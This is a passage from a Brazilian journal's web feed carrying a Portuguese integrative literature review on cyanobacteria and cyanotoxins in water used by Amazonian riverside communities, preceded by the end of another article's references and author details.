<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ARCÊNCIO, R. A. et al.. Distribuição e dependência espacial da mortalidade por tuberculose em um município da região amazônica. <strong>Cadernos Saúde Coletiva</strong>, v. 30, n. 1, p. 1–12, jan. 2022.</p>



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<p class="wp-block-paragraph">SILVA, M. L. B. et al. Fatores&nbsp; associados&nbsp; à&nbsp; subnotificação&nbsp; de&nbsp; casos&nbsp; de&nbsp; tuberculose multirresistente no Estado do Rio de Janeiro, Brasil: relacionamento probabilístico entre sistemas de informação. <strong>Cadernos de Saúde Pública,</strong> v. 37, n. 10, p. e00293920, 2021. Disponível em:&lt;https://doi.org/10.1590/0102-311X00293920&gt;. Acesso em: 10 ago. 2025.</p>



<p class="wp-block-paragraph">SILVA, M. L. B. DA et al. Fatores associados à subnotificação de casos de tuberculose multirresistente no Estado do Rio de Janeiro, Brasil: relacionamento probabilístico entre sistemas de informação. <strong>Cadernos de Saúde Pública</strong>, v. 37, p.e00293920, 2021. Disponível em:&lt;https://www.scielosp.org/article/csp/2021.v37n10/e00293920&gt;. Acesso em: 10 ago. 2025.</p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>E-mail: andreibarbo727@gmail.com &#8211; Orcid: https://orcid.org/0009-0009-9669-5962. Acadêmico de Biomedicina.<br><sup>2</sup>E-mail: elainecristinavale3@gmail.com &#8211; Orcid: https://orcid.org/0009-0002-9017-679X. Acadêmica de Biomedicina.<br><sup>3</sup>E-mail: xandamourao35@gmail.com &#8211; Orcid: https://orcid.org/0009-0008-1758-722X. Acadêmica de Biomedicina.<br><sup>4</sup>E-mail: eliane_ltrindade@yahoo.com.br &#8211; Orcid: https://orcid.org/0000-0001-5409-2228. Orientadora.<br><sup>5</sup>E-mail: carol.ferreira2317@gmail.com &#8211; Orcid: https://orcid.org/0000-0003-0232-5944. Coorientadora.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CIANOBACTÉRIAS E CIANOTOXINAS EM ÁGUAS DE COMUNIDADES RIBEIRINHAS: REVISÃO INTEGRATIVA E IMPACTOS PARA A SAÚDE PÚBLICA</title>
		<link>https://revistaft.com.br/cianobacterias-e-cianotoxinas-em-aguas-de-comunidades-ribeirinhas-revisao-integrativa-e-impactos-para-a-saude-publica/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 26 Nov 2025 17:22:29 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=253747</guid>

					<description><![CDATA[CYANOBACTERIA AND CYANOTOXINS IN WATER FROM RIVERSIDE COMMUNITIES: AN INTEGRATIVE REVIEW AND IMPACTS ON PUBLIC HEALTH CIANOBACTERIAS Y CIANOTOXINAS EN EL AGUA DE COMUNIDADES RIBEREÑAS: UNA REVISIÓN INTEGRADORA Y SUS IMPACTOS EN LA SALUD PÚBLICA REGISTRO DOI: 10.69849/revistaft/cl10202511261420 Gerbgleisse Bahia Machado1José Antônio Corrêa dos Santos2Leiliane Souza da Silva3 RESUMO&#160;&#160; Introdução: A água é essencial para [&#8230;]]]></description>
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<p class="wp-block-paragraph">CYANOBACTERIA AND CYANOTOXINS IN WATER FROM RIVERSIDE COMMUNITIES: AN INTEGRATIVE REVIEW AND IMPACTS ON PUBLIC HEALTH</p>



<p class="wp-block-paragraph">CIANOBACTERIAS Y CIANOTOXINAS EN EL AGUA DE COMUNIDADES RIBEREÑAS: UNA REVISIÓN INTEGRADORA Y SUS IMPACTOS EN LA SALUD PÚBLICA</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511261420</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Gerbgleisse Bahia Machado<sup>1</sup><br>José Antônio Corrêa dos Santos<sup>2</sup><br>Leiliane Souza da Silva<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Introdução:</strong> A água é essencial para a manutenção da vida e o equilíbrio dos ecossistemas, sendo um recurso indispensável às populações humanas. Entretanto, a contaminação de corpos hídricos por cianobactérias e suas toxinas representa uma ameaça crescente à saúde pública, especialmente em regiões de vulnerabilidade social e ambiental, como a Amazônia. <strong>Objetivo: </strong>Este estudo teve como objetivo realizar uma revisão integrativa da literatura sobre a ocorrência de cianobactérias e cianotoxinas em águas utilizadas por comunidades ribeirinhas da região Norte do Brasil, analisando suas implicações para a saúde e as estratégias de vigilância e&nbsp;controle adotadas. <strong>Metodologia:</strong> Trata-se de uma pesquisa qualitativa, conduzida nas bases LILACS, SciELO, PubMed/MEDLINE e Google Scholar, contemplando artigos publicados entre 2015 e 2025. A amostra final foi composta por 11 estudos, analisados segundo a metodologia de Bardin. <strong>Resultados e discussão:</strong> Os resultados foram organizados em três categorias: (1) ocorrência de cianobactérias e tipos de cianotoxinas; (2) implicações para a saúde das populações ribeirinhas; e (3) estratégias de vigilância, monitoramento e controle. Os achados evidenciaram a presença recorrente de Microcystis sp., Dolichospermum spiroides e Nostoc sp., produtoras de microcistinas, associadas à vulnerabilidade hídrica e ao déficit de saneamento básico. <strong>Considerações finais:</strong> Conclui-se que a ocorrência contínua de cianotoxinas, mesmo em níveis abaixo dos limites legais, reforça a necessidade de monitoramento permanente, políticas públicas integradas e tecnologias sociais de tratamento domiciliar, visando garantir a segurança hídrica e a saúde das populações ribeirinhas amazônicas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves:</strong> Cianobactérias; Cianotoxinas; Qualidade da água; Ribeirinhos; Saúde pública.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Introduction: Water is essential for the maintenance of life and the balance of ecosystems, being an indispensable resource for human populations. However, the contamination of water bodies by cyanobacteria and their toxins represents a growing threat to public health, especially in regions of social and environmental vulnerability, such as the Amazon. Objective: This study aimed to conduct an integrative literature review on the occurrence of cyanobacteria and cyanotoxins in waters used by riverside communities in the Northern region of Brazil, analyzing their implications for health and the surveillance and control strategies adopted. Methodology: This is a qualitative research, conducted in the LILACS, SciELO, PubMed/MEDLINE and Google Scholar databases, including articles published between 2015 and 2025. The final sample consisted of 11 studies, analyzed according to Bardin&#8217;s methodology. Results and discussion: The results were organized into three categories: (1) occurrence of cyanobacteria and types of cyanotoxins; (2) implications for the health of riverside populations; and (3) surveillance, monitoring and control strategies. The findings evidenced the recurrent presence of Microcystis sp.. Final considerations: It is concluded that the continuous occurrence of cyanotoxins, even at levels below legal limits, reinforces the need for permanent monitoring, integrated public policies and social technologies for home treatment, aiming to guarantee water security and the health of Amazonian riverside populations.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Cyanobacteria; Cyanotoxins; Water quality; Riverside communities; Public health.&nbsp;</p>



<p class="wp-block-paragraph"><strong>RESUMEN&nbsp;</strong></p>



<p class="wp-block-paragraph">Introducción: El agua es esencial para el mantenimiento de la vida y el equilibrio de los ecosistemas, siendo un recurso indispensable para las poblaciones humanas. Sin embargo, la contaminación de los cuerpos de agua por cianobacterias y sus toxinas representa una creciente amenaza para la salud pública, especialmente en regiones de vulnerabilidad social y ambiental, como la Amazonía. Objetivo: Este estudio tuvo como objetivo realizar una revisión bibliográfica integrativa sobre la presencia de cianobacterias y cianotoxinas en aguas utilizadas por comunidades ribereñas en la región norte de Brasil, analizando sus implicaciones para la salud y las estrategias de vigilancia y control adoptadas. Metodología: Se trata de una investigación cualitativa, realizada en las bases de datos LILACS, SciELO, PubMed/MEDLINE y Google Scholar, incluyendo artículos publicados entre 2015 y 2025. La muestra final consistió en 11 estudios, analizados según la metodología de Bardin. Resultados y discusión: Los resultados se organizaron en tres categorías: (1) presencia de cianobacterias y tipos de cianotoxinas; (2) implicaciones para la salud de las poblaciones ribereñas; y (3) estrategias de vigilancia, monitoreo y control. Los hallazgos evidenciaron la presencia recurrente de Microcystis sp., Dolichospermum spiroides y Nostoc sp., productoras de microcistinas, asociada a la vulnerabilidad del agua y la falta de saneamiento básico. Consideraciones finales: Se concluye que la presencia continua de cianotoxinas, incluso en niveles inferiores a los límites legales, refuerza la necesidad de un monitoreo permanente, políticas públicas integrales y tecnologías sociales para el tratamiento domiciliario, con el fin de garantizar la seguridad hídrica y la salud de las poblaciones ribereñas amazónicas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palabras clave:</strong> Cianobacterias; Cianotoxinas; Calidad del agua; Comunidades ribereñas; Salud pública.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A água é essencial para a manutenção da vida no planeta Terra. Ecossistemas, sociedades e economias dependem de água limpa e em quantidade suficiente para seu funcionamento e desenvolvimento. Os recursos hídricos doces são continuamente renovados pelo ciclo da água, que envolve evaporação, precipitação e escoamento, determinando a distribuição e a disponibilidade desse recurso ao longo do tempo e do espaço. Nenhum processo metabólico ocorre sem a ação direta ou indireta da água, o que torna os ambientes aquáticos fundamentais para a existência humana e para a manutenção dos ecossistemas (Merel; Walker; Snider, 2021).&nbsp;</p>



<p class="wp-block-paragraph">Entre os inúmeros organismos que habitam os ecossistemas aquáticos, a comunidade fitoplanctônica se destaca por sua relevância ecológica. O fitoplâncton é responsável pela produtividade primária e reflete, de forma sensível, os impactos antrópicos e naturais sobre o ecossistema. Nesse contexto, o monitoramento do fitoplâncton, especialmente das cianobactérias, é fundamental, uma vez que certas espécies podem produzir toxinas (cianotoxinas) capazes de comprometer a qualidade da água e representar risco à saúde humana e animal. Em comunidades ribeirinhas que utilizam a água dos rios para consumo doméstico, pesca e irrigação, a presença dessas toxinas pode causar efeitos adversos diversos, incluindo distúrbios hepáticos, neurológicos e gastrointestinais (Guimarães <em>et al.,</em> 2021).&nbsp;</p>



<p class="wp-block-paragraph">Historicamente, o fitoplâncton de ambientes lóticos recebeu menor atenção em estudos limnológicos devido à dificuldade de mensurar variáveis ambientais em habitats sujeitos a rápidas alterações temporais e espaciais. No entanto, em reservatórios de abastecimento público, espécies potencialmente tóxicas, como as cianobactérias, são reconhecidas como bioindicadoras da qualidade da água (Bernardes <em>et al.,</em> 2022).&nbsp;</p>



<p class="wp-block-paragraph">As cianotoxinas são metabólitos secundários produzidos por cianobactérias e podem causar sérios danos à saúde humana. Diversos gêneros são reconhecidos como potenciais produtores de cianotoxinas, incluindo <em>Microcystis</em>, <em>Dolichospermum</em>, <em>Planktothrix</em>, <em>Nostoc</em>, <em>Anabaenopsis</em>, <em>Cylindrospermopsis</em>, <em>Aphanizomenon</em>, <em>Umezakia</em>, <em>Raphidiopsis</em>, <em>Oscillatoria</em>, <em>Nodularia</em>, <em>Geitlerinema</em>, <em>Phormidium</em>, <em>Lyngbya</em> e <em>Trichodesmium</em> (Souza; Cáceres-durán, 2023). Entre essas toxinas, a microcistina e a nodularina estão envolvidas na maioria dos casos de intoxicação: enquanto a microcistina é produzida por diversos gêneros, a nodularina é exclusiva do gênero <em>Nodularia</em>. Além disso, uma mesma cianotoxina pode ser produzida por diferentes gêneros de cianobactérias, e uma única espécie pode sintetizar múltiplas toxinas (Gradíssimo; Mourão; Santos, 2020).&nbsp;</p>



<p class="wp-block-paragraph">Os efeitos das cianotoxinas em humanos variam desde sintomas agudos, como irritação cutânea, vômitos, diarreia e gastroenterites, até efeitos crônicos, incluindo formação de tumores hepáticos, convulsões e danos hepáticos graves que podem levar à morte (Cardoso, 2024). Classicamente, as cianotoxinas são categorizadas conforme seus efeitos: neurotóxicas (anatoxina-a, anatoxina-a(s) e saxitoxinas), que afetam o sistema nervoso; hepatotóxicas (microcistina, nodularina e cilindrospermopsina), que prejudicam o fígado; e dermatotóxicas, que causam lesões cutâneas (Bernardes <em>et al.,</em> 2022).&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, conhecer a composição, abundância e distribuição das espécies fitoplanctônicas em rios e reservatórios é essencial para avaliar a saúde ambiental e prevenir riscos à saúde pública. A identificação de florações de cianobactérias permite monitorar alterações ecológicas e antecipar possíveis episódios de contaminação por cianotoxinas, fornecendo subsídios para ações de manejo, vigilância sanitária e educação em saúde nas comunidades que dependem desses recursos hídricos. A&nbsp;integração de dados limnológicos com informações sobre a dinâmica hidrológica e o uso do solo na bacia hidrográfica amplia a capacidade de prever proliferações de espécies tóxicas, contribuindo para estratégias de mitigação mais eficazes e para a proteção da população ribeirinha (Cardoso, 2024).&nbsp;</p>



<p class="wp-block-paragraph">De acordo com a International Union for Conservation of Nature (IUCN, 2019), três fatos são fundamentais para compreender a disponibilidade e a gestão da água doce: a demanda global por água doce é cerca de 40% maior que a oferta, sobrecarregando muitos sistemas hídricos e provocando o desaparecimento de alguns; aproximadamente 80% das águas residuais globais retornam aos ecossistemas aquáticos sem tratamento, causando poluição em praticamente todos os sistemas de água doce do planeta; e cerca de um bilhão de pessoas já enfrentam escassez de água, tornando comunidades dependentes dos serviços ecossistêmicos cada vez mais vulneráveis (Bernardes <em>et al.,</em> 2022).&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a ausência, inadequação ou gestão ineficiente dos serviços de água e saneamento pode expor a população a riscos graves à saúde devido à presença de micro-organismos patogênicos. Para avaliar a qualidade microbiológica da água, são utilizados micro-organismos indicadores de contaminação (APHA, 2012).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As doenças de veiculação hídrica (DVH) recebem essa denominação quando causadas por organismos ou outros contaminantes disseminados diretamente pela água (Brasil, 2013). Entre os micro-organismos patogênicos presentes na água estão protozoários, helmintos, vírus e bactérias, que podem provocar doenças como diarreia, febre tifoide e paratifoide, disenterias bacilar e amebiana, cólera, gastroenterites agudas e crônicas, hepatites A e E e poliomielite (Brasil, 2013; COPASA, 2019).&nbsp;</p>



<p class="wp-block-paragraph">Diante desse cenário, o estudo se justifica pela necessidade de compreender, de forma detalhada, o monitoramento do fitoplâncton e das cianotoxinas em águas utilizadas por comunidades ribeirinhas, bem como suas implicações para a saúde pública. Essa análise permitirá identificar tendências, padrões de ocorrência e potenciais riscos à população, fornecendo subsídios para a implementação de estratégias de prevenção e manejo da qualidade da água.&nbsp;</p>



<p class="wp-block-paragraph">Portanto, a avaliação sistemática do fitoplâncton e das cianotoxinas em águas consumidas por populações vulneráveis constitui uma ferramenta estratégica de saúde pública, permitindo prevenir intoxicações e orientar políticas de gestão ambiental e de saneamento básico.&nbsp;</p>



<p class="wp-block-paragraph">Para tanto, o estudo busca responder às seguintes questões-problema:&nbsp;</p>



<p class="wp-block-paragraph">De que forma a contaminação por cianotoxinas compromete a qualidade de vida e a saúde das populações ribeirinhas?&nbsp;</p>



<p class="wp-block-paragraph">Existem políticas públicas ou ações de vigilância sanitária voltadas à detecção e controle das cianotoxinas?&nbsp;</p>



<p class="wp-block-paragraph">Quais lacunas de conhecimento persistem sobre o tema na perspectiva da saúde pública?&nbsp;</p>



<p class="wp-block-paragraph">Objetivo desse estudo é descrever uma revisão integrativa da literatura sobre a ocorrência de cianobactérias e cianotoxinas em águas utilizadas por comunidades ribeirinhas da região Norte do Brasil, analisando suas implicações para a saúde pública e as estratégias de vigilância e controle adotadas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">A presente pesquisa baseou-se em um estudo do tipo Revisão Integrativa da Literatura (RIL), com abordagem qualitativa (Mendes <em>et al.,</em> 2020).&nbsp;</p>



<p class="wp-block-paragraph">A RIL caracterizou-se como uma pesquisa científica composta por objetivos próprios, problema de pesquisa, metodologia, resultados e conclusões, não se constituindo apenas como uma introdução de uma pesquisa maior, como ocorre nas revisões de literatura de conveniência. Seguiu-se o rigor metodológico e a clareza na apresentação dos resultados, de forma que o leitor pudesse identificar as características reais dos estudos incluídos na revisão (Mendes <em>et al.,</em> 2020).&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa qualitativa teve caráter essencialmente interpretativo, uma vez que o pesquisador realizou uma análise dos dados a partir de uma visão holística dos fenômenos sociais. Quanto mais complexa, interativa e abrangente a narrativa, melhor se configurou o estudo qualitativo (Cesário <em>et al., </em>2021).&nbsp;</p>



<p class="wp-block-paragraph">Para a elaboração deste trabalho, foram seguidas as seis fases do processo de desenvolvimento de uma Revisão Integrativa da Literatura:&nbsp;1ª Etapa – Identificação do tema e seleção da hipótese ou questão de pesquisa para a elaboração da revisão integrativa; 2ª Etapa – Busca das melhores evidências disponíveis; 3ª Etapa – Avaliação crítica das evidências encontradas; 4ª Etapa – Integração das evidências; 5ª Etapa – Discussão dos resultados; e 6ª Etapa – Apresentação da síntese do conhecimento produzido e revisão/sistematização do conhecimento (Mendes <em>et al.,</em> 2020).&nbsp;</p>



<p class="wp-block-paragraph">Para este estudo, definiu-se como pergunta norteadora: “Quais são as evidências disponíveis na literatura científica sobre a ocorrência de cianobactérias e cianotoxinas em águas utilizadas por comunidades ribeirinhas da região Norte do&nbsp;Brasil e suas implicações para a saúde pública? ”&nbsp;</p>



<p class="wp-block-paragraph">O estudo foi realizado nas bases eletrônicas de dados Literatura LatinoAmericana e do Caribe em Ciências da Saúde (LILACS), Scientific Electronic Library Online (SciELO) acessadas por meio da Biblioteca Virtual em Saúde (BVS), PubMed/MEDLINE e Google Scholar. Essas plataformas foram selecionadas por sua relevância na indexação de publicações científicas nacionais e internacionais na área da saúde, o que possibilitou o acesso a estudos atualizados e de qualidade sobre a ocorrência de cianobactérias e cianotoxinas em águas utilizadas por comunidades ribeirinhas e suas implicações para a saúde pública.&nbsp;</p>



<p class="wp-block-paragraph">Foram incluídos artigos científicos disponíveis nas bases de dados definidas, com base nos descritores: “Cianobactérias; Cianotoxinas; Qualidade da água;&nbsp;Ribeirinhos; Saúde pública”, retirados dos Descritores em Ciências da Saúde (DeCS). Foram selecionados artigos publicados na íntegra, originais, em língua portuguesa, espanhola ou inglesa, com acesso gratuito, que abordaram a questão norteadora do estudo, e que foram publicados no período de 2015 a 2025.&nbsp;</p>



<p class="wp-block-paragraph">Foram excluídos trabalhos de conclusão de curso de graduação, projetos de dissertação, relatórios de pesquisa, resumos de eventos, resenhas, editoriais, livros, capítulos de livros, publicações governamentais e boletins informativos, bem como estudos fora do período de recorte temporal de 2015 a 2025.&nbsp;</p>



<p class="wp-block-paragraph">A coleta de dados foi realizada por meio da aplicação de um formulário estruturado, adaptado do modelo proposto por Ursi (2005), previamente validado para o levantamento e organização de informações em revisões integrativas da literatura. O instrumento foi elaborado com o objetivo de sistematizar a extração dos dados de forma padronizada, favorecendo a comparação e a síntese dos estudos incluídos.&nbsp;</p>



<p class="wp-block-paragraph">O formulário contemplou variáveis relacionadas à identificação e caracterização dos artigos, incluindo: título, autores, ano de publicação, país de origem do estudo, base de dados de indexação, idioma e periódico de publicação. Além desses aspectos, o instrumento abrangeu também informações metodológicas, tais como: tipo de estudo, delineamento da pesquisa, população e amostra investigada, objetivos, principais resultados e conclusões apresentadas pelos autores.&nbsp;</p>



<p class="wp-block-paragraph">Durante o processo de coleta, cada artigo selecionado foi analisado individualmente, e os dados foram registrados manualmente e organizados em planilha eletrônica para facilitar a tabulação, a categorização e a posterior análise qualitativa. Esse procedimento permitiu a construção de uma base comparativa entre os estudos, assegurando maior rastreabilidade, transparência e rigor metodológico na condução da revisão integrativa.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos resultados foi conduzida conforme a metodologia proposta por Bardin (2020), a qual se caracteriza por um conjunto de técnicas de análise de comunicações que visam obter, por procedimentos sistemáticos e objetivos, indicadores que permitam a inferência de conhecimentos relativos às condições de produção e recepção das mensagens.&nbsp;</p>



<p class="wp-block-paragraph">Na primeira etapa, correspondente à pré-análise, o material foi organizado e analisado de modo a torná-lo operacional, mediante leitura flutuante, seleção dos documentos, formulação das hipóteses e objetivos, e preenchimento individual dos artigos selecionados segundo os critérios de inclusão e exclusão previamente estabelecidos.&nbsp;</p>



<p class="wp-block-paragraph">Na segunda etapa, referente à exploração do material, foram definidas as categorias e sistemas de codificação, sendo realizada a leitura aprofundada dos artigos e a exposição individual dos dados em quadros de síntese.&nbsp;</p>



<p class="wp-block-paragraph">Na terceira etapa, correspondente ao tratamento dos resultados e interpretação, foram apresentados os achados que responderam aos objetivos da pesquisa, com os resultados descritos, categorizados e discutidos à luz da literatura pertinente.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, foi realizada uma análise descritiva qualitativa, considerando o contexto e a relevância dos resultados obtidos. Para tanto, foi efetuada uma leitura minuciosa dos artigos a fim de responder à questão norteadora da pesquisa, discutindo e comparando os resultados encontrados nas revisões bibliográficas, com o intuito de confirmar os objetivos propostos (Bardin, 2020).&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa foi conduzida em conformidade com os preceitos éticos estabelecidos pela Resolução nº 466, de 12 de dezembro de 2012, do Conselho Nacional de Saúde (CNS), a qual dispõe sobre os princípios de autonomia, beneficência, não maleficência, justiça e equidade, que norteiam as pesquisas científicas envolvendo seres humanos.&nbsp;</p>



<p class="wp-block-paragraph">Por se tratar de uma revisão integrativa da literatura, sem a realização de intervenções ou coletas de dados diretas com seres humanos, não houve necessidade de submissão do projeto ao Comitê de Ética em Pesquisa (CEP), conforme o disposto na Resolução nº 510/2016 do CNS, que estabelece as diretrizes aplicáveis a pesquisas que utilizam informações de acesso público e dados secundários.&nbsp;</p>



<p class="wp-block-paragraph">Durante todas as etapas do estudo, foram respeitados integralmente os direitos autorais dos autores das obras consultadas, observando-se rigorosamente as normas da Associação Brasileira de Normas Técnicas (ABNT) quanto às citações e referências bibliográficas.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, foram assegurados os princípios de integridade científica e responsabilidade ética, garantindo a fidedignidade das informações, a transparência na apresentação dos resultados e a devida atribuição de crédito às fontes utilizadas.</p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS&nbsp;</strong></p>



<p class="wp-block-paragraph">A busca nas bases de dados LILACS, SciELO, PubMed/MEDLINE e Google&nbsp;Scholar, utilizando os descritores “Cianobactérias; Cianotoxinas; Qualidade da água;&nbsp;Ribeirinhos; Saúde pública”, resultou inicialmente em 67 registros. Após a remoção das duplicatas, permaneceram 53 artigos.&nbsp;</p>



<p class="wp-block-paragraph">Na etapa de triagem dos títulos e resumos, 36 estudos foram excluídos por não atenderem aos critérios de inclusão, por abordarem temáticas não relacionadas à qualidade da água em comunidades ribeirinhas ou por não apresentarem enfoque na saúde pública.&nbsp;</p>



<p class="wp-block-paragraph">A leitura na íntegra dos 17 artigos restantes resultou na exclusão de seis estudos, os quais se configuravam como revisões de literatura, editoriais, relatórios técnicos ou não estavam disponíveis em texto completo. Dessa forma, a amostra final da revisão integrativa foi composta por 11 artigos científicos, publicados entre 2015 e 2025, que atenderam integralmente aos critérios de elegibilidade definidos para esta pesquisa.&nbsp;</p>



<p class="wp-block-paragraph">Os dados extraídos dos estudos selecionados foram organizados em quadros e categorizados conforme ano de publicação, autoria, título, objetivos e principais resultados, a fim de subsidiar a quarta etapa da revisão integrativa, referente à avaliação crítica dos estudos primários, apresentada na seção de resultados.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 –</strong> Artigos selecionados nas bases de dados LILACS, SciELO, PubMed/MEDLINE e Google Scholar utilizados como base para esta revisão integrativa no período de 2015 a 2025.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="648" height="295" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2472.png" alt="" class="wp-image-253766" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2472.png 648w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2472-300x137.png 300w" sizes="(max-width: 648px) 100vw, 648px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="646" height="582" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2473.png" alt="" class="wp-image-253767" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2473.png 646w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2473-300x270.png 300w" sizes="(max-width: 646px) 100vw, 646px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="646" height="258" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2474.png" alt="" class="wp-image-253771" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2474.png 646w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2474-300x120.png 300w" sizes="(max-width: 646px) 100vw, 646px" /></figure>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="643" height="358" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2475.png" alt="" class="wp-image-253772" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2475.png 643w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2475-300x167.png 300w" sizes="(max-width: 643px) 100vw, 643px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte:</strong> Extraído os artigos selecionados para RIL (2025).&nbsp;</p>



<p class="wp-block-paragraph">A análise qualitativa desses estudos permitiu identificar padrões de ocorrência de cianobactérias e cianotoxinas em águas utilizadas por comunidades ribeirinhas da região Norte do Brasil, assim como compreender suas implicações para a saúde pública local. Os resultados foram organizados em categorias temáticas, a seguir discutidas, relacionando os achados de cada estudo à literatura pertinente.&nbsp;</p>



<p class="wp-block-paragraph">A avaliação detalhada dos 11 artigos evidenciou informações sobre a ocorrência de cianobactérias e cianotoxinas, seus impactos sobre a saúde das populações ribeirinhas e as estratégias de vigilância e monitoramento adotadas. Para facilitar a análise, os resultados foram estruturados em três categorias principais: Categoria 1: Ocorrência de cianobactérias e tipos de cianotoxinas; Categoria 2: Implicações para a saúde das populações ribeirinhas e Categoria 3: Estratégias de vigilância, monitoramento e controle.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. DISCUSSÕES&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Categoria 1: </strong>Ocorrência de cianobactérias e tipos de cianotoxinas&nbsp;</p>



<p class="wp-block-paragraph">A presença de cianobactérias e suas toxinas, especialmente microcistinas, constitui um importante indicador da qualidade da água e um potencial risco à saúde pública em regiões ribeirinhas da Amazônia. Essas toxinas podem provocar efeitos adversos em seres humanos e animais, incluindo doenças hepáticas e gastrointestinais, e estão frequentemente associadas à proliferação de espécies como Microcystis, Dolichospermum e Nostoc.&nbsp;</p>



<p class="wp-block-paragraph">Os estudos incluídos nesta categoria destacam tanto a diversidade de cianobactérias presentes nos ecossistemas aquáticos da região quanto a detecção de microcistinas em níveis que, embora muitas vezes abaixo dos limites legais para uso recreativo, indicam a necessidade de monitoramento contínuo. Além disso, inventários de espécies fornecem informações detalhadas sobre a composição da comunidade fitoplanctônica, permitindo identificar potenciais riscos toxicológicos e subsidiar estratégias de vigilância e gestão da qualidade da água.&nbsp;</p>



<p class="wp-block-paragraph">A seguir, apresenta-se o Quadro 2, que sintetiza os principais achados relacionados à ocorrência de cianobactérias e tipos de cianotoxinas em diferentes ecossistemas aquáticos da região amazônica. Esta categoria inclui estudos que investigaram tanto a diversidade de cianobactérias quanto a presença de microcistinas e outras toxinas, destacando os riscos potenciais à saúde pública, especialmente para populações ribeirinhas que dependem diretamente desses recursos hídricos para consumo, recreação e atividades domésticas.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2 –</strong> Síntese da Categoria 1</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="670" height="642" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2478.png" alt="" class="wp-image-253778" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2478.png 670w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2478-300x287.png 300w" sizes="(max-width: 670px) 100vw, 670px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>Elaborado pelos autores a partir da síntese dos estudos incluídos na RIL (2025)<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">A ocorrência de cianobactérias em ambientes aquáticos tem se intensificado nas últimas décadas, impulsionada por fatores como o aumento da eutrofização, elevação das temperaturas médias e alterações no regime hidrológico. Esses microrganismos fotossintetizantes proliferam em águas doces e salobras, formando florações que comprometem a qualidade da água e a segurança ambiental (Torres <em>et al., </em>2020). A diversidade e a frequência dessas florações indicam uma adaptação das cianobactérias às condições ambientais modificadas pelas ações antrópicas.&nbsp;</p>



<p class="wp-block-paragraph">No estado do Pará, estudos recentes têm demonstrado a ampla distribuição de cianobactérias potencialmente tóxicas, como observado por Nunes (2022), que identificou 153 táxons distribuídos em 27 famílias, com destaque para <em>Merismopediaceae, Oscillatoriaceae, Microcystaceae </em>e<em> Microcoleaceae</em>. A predominância desses grupos reforça a importância do monitoramento regional, visto que muitas dessas famílias incluem gêneros produtores de toxinas com alto potencial de impacto sobre ecossistemas aquáticos e a saúde humana.&nbsp;</p>



